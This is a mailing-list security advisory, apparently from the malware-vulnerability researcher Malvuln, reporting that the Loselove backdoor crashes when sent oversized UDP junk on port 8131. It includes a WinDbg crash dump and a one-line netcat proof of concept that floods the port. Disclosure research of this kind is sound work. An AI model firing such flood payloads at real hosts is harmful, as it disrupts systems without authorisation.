Date: Mon, 18 Apr 2022 21:27:29 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Loselove / Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/9a8150938bff3a17fa0169c3dc6dae85.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Loselove
Vulnerability: Denial of Service
Description: The malware listens on UDP ports 9329, 8329, 8322, 8131 and
8130. Attackers can send a large junk payload to UDP port 8131 causing it
to crash.
Family: Loselove
Type: PE32
MD5: 9a8150938bff3a17fa0169c3dc6dae85
Vuln ID: MVID-2022-0554
Disclosure: 04/18/2022

Memory Dump:
(fe4.10a0): Access violation - code c0000005 (first/second chance not
available)
eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8
edi=00000000
eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010216
ntdll!RtlAcquireSRWLockShared+0xb:
776e9fab 56              push    esi

0:000> .ecxr
eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8
edi=00000000
eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010216
ntdll!RtlAcquireSRWLockShared+0xb:
776e9fab 56              push    esi

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85

FAULTING_IP:
KERNELBASE!RaiseException+62
74a108f2 8b4c2454        mov     ecx,dword ptr [esp+54h]

EXCEPTION_RECORD:  0019f790 -- (.exr 0x19f790)
ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062)
   ExceptionCode: 0eedfade
  ExceptionFlags: 00000003
NumberParameters: 7
   Parameter[0]: 00411c67
   Parameter[1]: 041ac750
   Parameter[2]: ffffffff
   Parameter[3]: 0040e744
   Parameter[4]: 041bfc04
   Parameter[5]: 0019fd10
   Parameter[6]: 0019fcd0

PROCESS_NAME:  Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  000a0fd4

WRITE_ADDRESS:  000a0fd4

FOLLOWUP_IP:
KERNELBASE!RaiseException+0
74a10890 8bff            mov     edi,edi

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

CONTEXT:  0019f7e0 -- (.cxr 0x19f7e0)
eax=0019fc40 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040e744
edi=041bfc04
eip=74a108f2 esp=0019fc40 ebp=0019fc9c iopl=0         nv up ei pl nz ac po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000212
KERNELBASE!RaiseException+0x62:
74a108f2 8b4c2454        mov     ecx,dword ptr [esp+54h]
ss:002b:0019fc94=ae6d973b
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute
[Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 0046361e to 74a108f2

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:
 INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff

STACK_TEXT:
0019fc40 74a108f2 kernelbase!RaiseException+0x62
0019fd18 0046361e backdoor_win32_loselove+0x6361e
0019fd70 0046353d backdoor_win32_loselove+0x6353d
0019fd8c 7720e0bb user32!_InternalCallWinProc+0x2b
0019fdb8 77218849 user32!InternalCallWinProc+0x20
0019fddc 7721b145 user32!UserCallWinProcCheckWow+0x1be
0019feac 772090dc user32!DispatchMessageWorker+0x4ac
0019ff18 772038c0 user32!DispatchMessageA+0x10
0019ff20 0044d058 backdoor_win32_loselove+0x4d058
0019ff74 00498514 backdoor_win32_loselove+0x98514
0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_NAME:  kernelbase!RaiseException+0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: KERNELBASE

IMAGE_NAME:  KERNELBASE.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  .cxr 000000000019F7E0 ; kb ; dds 19fc40 ; kb

FAILURE_BUCKET_ID:
 INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException

BUCKET_ID:
 APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0

Exploit/PoC:
python -c "print('A'*12000)" | nc64.exe x.x.x.x 8131 -c -u


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists